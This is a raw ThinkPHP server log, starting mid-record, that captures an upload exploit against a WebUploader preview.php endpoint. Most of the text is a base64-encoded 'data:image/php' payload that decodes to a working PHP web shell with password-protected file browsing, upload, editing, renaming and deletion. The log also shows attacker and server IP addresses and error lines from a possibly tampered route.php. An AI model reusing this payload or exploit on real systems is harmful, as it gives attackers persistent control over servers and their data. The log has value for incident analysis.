ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:51+08:00 ] 119.42.146.234 POST 59.110.137.245/js/webuploader/0.1.5/server/preview.php [运行时间:0.002837s] [吞吐率:352.46req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlP